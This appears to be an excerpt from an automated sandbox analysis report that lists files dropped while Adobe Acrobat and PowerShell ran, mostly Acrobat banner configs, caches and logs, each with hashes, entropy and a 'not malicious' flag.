SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJf8dPeUkwRe9:YvXKX3ZrusdTeOMGU8Ukee9
MD5:	8DF7EA0F2A8A55276E279DD505C5DBD6
SHA1:	8DF6BCE78CCB5F118C5CC5DEE0F10EC7501E9F6D
SHA-256:	D24ED68CA4B3A83C04170548F15BF50743C8A99D86856EFED0ACF22E639FBB48
SHA-512:	8E62846DC099C14580532F99D3FBE3BDB389D5D9948E319D52E7D59F256D4207CFE494465B1BB3E0CF0AFD1B8D6FCC331B03E2BCA268876E11FA2F644DA4AB32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.308464255343743
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfQ1rPeUkwRe9:YvXKX3ZrusdTeOMGY16Ukee9
MD5:	83941B928F192CBBADB5A1ECE164F6E4
SHA1:	4E2ABA34163C628492A64C09C1136FEA3F08AE57
SHA-256:	2D4C22105575F33936C63DB1ED1876FD3C5409A206828E84642525749A8410EE
SHA-512:	3E744362BBD550EE885524ED63BA32B489E86F95EF19D63CD21E4EFA73A9209C82ACEC9AFBEC4E372095FB36753B1033453FD86006C9310A79BA87496998715D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3235721602074815
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfFldPeUkwRe9:YvXKX3ZrusdTeOMGz8Ukee9
MD5:	970212D3212D0E8161CA9750A8D0C669
SHA1:	C720B2CF47C0D397F00FC388E1CDA0647088A6E8
SHA-256:	09EC265558EEC0A0A37D1923B5CC72606CA3D4A28D18CA0704CF4FE68777CB46
SHA-512:	F3D0BD9195EBD97C7B3611B8AD15E79700524AE2F6124A518051832C9277EAD7918345E053A41BDBCF679B9DDF3E5F3CEE87125073679307F010F06159A25C40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3301593977683766
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfzdPeUkwRe9:YvXKX3ZrusdTeOMGb8Ukee9
MD5:	E8137C3067B20BD410119F0144A43068
SHA1:	655C94EBED7AE91F75BAA0A73BE12289C652D0EF
SHA-256:	099044A2878152FB3F95639A6F895278BB30D6EBAC3B74F968A68624E54C4FE1
SHA-512:	53F00DBEC05FA44AC4F9221CFED098F98C00B21C166E1CD7BAEE36F158D2881803143950A68F8DBE4BAEE526A5C8D6F2AD478CA734D55AE9208208483B0135B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311027274317492
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfYdPeUkwRe9:YvXKX3ZrusdTeOMGg8Ukee9
MD5:	6A2B0AE203BB36FDB08FDB7243F5EA60
SHA1:	24F83630AE466EABF2C20380FF10BECCDCE41BB1
SHA-256:	638D9A5FFB364718EEE98B920F2223DDDD2F5705915EB0EBC8950B0B93904B10
SHA-512:	2E2F9F960681E13A33B53D17B355D2C7E8EF35ECFED58744470485EFFAC406710AFCD5D30E14450BB593C59E40EE47DF1C3CF09C27B5238EFE1000AC9416B35B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297570780221484
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJf+dPeUkwRe9:YvXKX3ZrusdTeOMG28Ukee9
MD5:	9318520E4582A6B6A3C8A3599D5A57B4
SHA1:	A4BF244BAF0071730469671A25D9C74D38B15F2B
SHA-256:	962EEDC0A1ABF6138CD0773880B34FF3AB2735A7067A3E7D147FC70213233B89
SHA-512:	912C515487B3802BEF384093B81EE2393D390BB635A46F5A720261F02F72376F767821048B807E6D5067F14936699D074CA8587EA05E57C73D026A58AF90DB4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294498583164432
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfbPtdPeUkwRe9:YvXKX3ZrusdTeOMGDV8Ukee9
MD5:	6B54FEDD47916825E5E90454A1F498C4
SHA1:	725B3A4920E12924FF8AEE842406BDDA57E8B289
SHA-256:	CE20BB8F83114761B778DEE951126F3507BFA7296962353B6BE17ACA6FEDFC73
SHA-512:	B193BE717FEA1734E916557CA4A77B13DA0D07AEDFD1306B28B6DD20A575FC46DDFC4653C62651E220D10E461F0EEC21B512ADA5DBA0FD01DCDD8967F2DA5A22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.299302669744776
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJf21rPeUkwRe9:YvXKX3ZrusdTeOMG+16Ukee9
MD5:	01484934ED963866AFF580F6F31241B5
SHA1:	A64F69044E15B8A7880F9E1C7BC02F78471698BC
SHA-256:	1AD932CC0B5DC7C4534D3B3C51FCFEC552E17E70D14112B3958A310F2E250136
SHA-512:	06018936E8A4DBCE4512BF06B6A052461EE4B0F6A825E3DB76BBE65CCE955712D24E1A432E5498F7AFB2A3AC82BCB032C71F268907CEB2E2387934D4CC7EBE75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668268929671224
Encrypted:	false
SSDEEP:	24:Yv6X3cmeOZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSM:Yvafe8BgkDMUJUAh8cvMM
MD5:	BBCF768250A171B3A72F0E65D30FF888
SHA1:	8E32D98B6E66E8365DF56DDF78EFAD64A5E8358E
SHA-256:	625298628F25290A8F2AED44211FDE33010E6A0A68716FCCF622AF2898D6D30C
SHA-512:	78B23AB3FA408DE1241851F58F1ACC46E61EF06893ED7A6AE1984D9ADEE0D4A4DAD95042BDA8E678DA86B2768923293B660162907D455DECACFA2039840A0530
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2749828413177315
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJfshHHrPeUkwRe9:YvXKX3ZrusdTeOMGUUUkee9
MD5:	31A034B9117549B2EC94A75ABE5A0EAC
SHA1:	15253D2D1670786FE42F9C6E97E36B3DC231A331
SHA-256:	C3D5F2C5BC9F87CA6F913A2FD25E9C2FED696B39408CB32869F66E7366D35067
SHA-512:	FD6456C17C585CB6D9DE8BC8E63397619341C9E31285FC762E67E587D6594082902C7B4D0F5F849231106BF0757183016922B87B30AD819483F4CDC0A1052B00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.290445654992229
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3p7rPWsGiIPEeOF0Y0pqoAvJTqgFCrPeUkwRe9:YvXKX3ZrusdTeOMGTq16Ukee9
MD5:	B8385512BD458CBA03BD20F8D0917267
SHA1:	1AC40B0DF36CBC742DADEDA94C5B25C0334A4F52
SHA-256:	829C7E48D87E463A6D6D71B338249C90B063EEB64470E0D086025AF806A2E516
SHA-512:	C64BD1FEBEEC936BD5AE20888FDC07FFB9AF3F4F45954CF18A5570B5C67314572B0D66331FA609A5298ABAEB16CC2B17D9ECCDB1ACC8FEF2626AC93E71A47FFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a349e8b0-7f27-4bfd-9e7c-3f68dfa70187","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742502089,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143892540175726
Encrypted:	false
SSDEEP:	24:YGXayqTayUud9jfzg8KXjWb0Q5G4tj0cj0STS+FjQ/2SgK2LSTMCg7dAcc8rrFTW:YgYrzPKTtw0u5yEKGj7ucBrpRg9P
MD5:	93C8F7DD14BBA5C8D2F986E9F49198CF
SHA1:	01D68BB85BDFC40134669109434257D6CDA649A0
SHA-256:	C6400B15453037ADEA70A59819EBAA21440402BBB5690F7DBF19AF4405AD5B5B
SHA-512:	F5CDBEC92BC671DD073FD3C6C12482C0A84624A1F82B97D995FA803AE9E9CF7FCC2E2FC2230B559AD9C279E0BD869E136C96DB38EE2FAEF260346D34248BD3DC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"73c9cdd438e5c5f8b9bb9171bc2dc531","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569177000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7f2d6b38c6aeb6a15ddb57e318459f52","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569177000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8971fabdde5a840039854792740ffd83","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569177000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"395a66f0d874942d2d2455d5e81bfad9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569177000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4d3e28f66de30d3686453b9e770d6414","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569177000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"855c4dbacb961b40ef092652306eb5a7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.454125395378233
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds0Yl+6:lNVmsw3SHtbDbPe0K3+fDZdU
MD5:	98846A121F5E5A1AA106CD7A7468F814
SHA1:	6159BCB022A8B5A667847CEEBAEFD9EEC54B1FEB
SHA-256:	B7D745EADED6CCD17294F34F634976B89D4FDEFB88D3FE76B5E0E4BB54876448
SHA-512:	A31BCC2F426CD8C0C5377F1AE46EDA622AEFC83DBC1338E78A61D2D7AF83C3B085E7D8C77403B753310F2EB9D3327974491D2AC77D9EBBD586E101DC4091A8D5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9583601042903584
Encrypted:	false
SSDEEP:	48:7M+rvrBd6dHtbGIbPe0K3+fDy2ds0NmqFl2GL7msd:773SHtbDbPe0K3+fDZdCKVmsd
MD5:	96125CC8F30A0345753D26A1AD3915F7
SHA1:	6DB2BE686B8F48AF6C5C01D25AA456455E322EE7
SHA-256:	BCB2EBA892A98752E994BF0939EB603247106736FC2B2B3286AC1C954E73906B
SHA-512:	42BAE395AF00F814FCF5649DD5B0644F6B82BF26493C1C108B8F468539F373AA1D403451A472AD63089A2495BAC528F5B9A86F78BD0C0D69DE7F7171B7B99D6A
Malicious:	false
Preview:	.... .c.....=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgLN73TboQhcF2vCyKzfKRgk0KYyu:6a6TZ44ADELN7jblhccRZdK
MD5:	37106E3D51DF243330F0DE7C7931256E
SHA1:	3E0591CFA68DE60A9BE4F03109363BDA5D5F7C09
SHA-256:	C24A5E8990A042DB444FA0458065F7D6EC42FD5746840C861DA8182433148459
SHA-512:	08E53E5B8BFCDEC0CBC81CCED2958F4662AC1487BB4FC3BDBB284D51E3D20A88C532D7F8F5B7C86D8556291AF9D42805F868FF7B35A30ED2B68C8910C07E9753
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIe2582.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClO:Qw946cPbiOxDlbYnuRK+b/
MD5:	1CD1E4ED64657A482A99DA10AAAB0A98
SHA1:	DBD9A4B89837246A59099AB10D462A92BDF47310
SHA-256:	CFAA08A0381BCC55E17E1A6BB7AD95DE12FBE62ECEFF93497493EC61E082D155
SHA-512:	751E85C8F160E4D1DE2F023FF6791EE4062F1BC3935F1D9C94D3928A550141589018DA1E7949977B3FEC2F3CE0CFD853FA68E0A35AC37366F7AC572B98A46C3F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.9.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emnx41dz.q1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_noc5lxqs.4eb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9v64dpu_1y65ep7_5mg.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-19-29-793.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

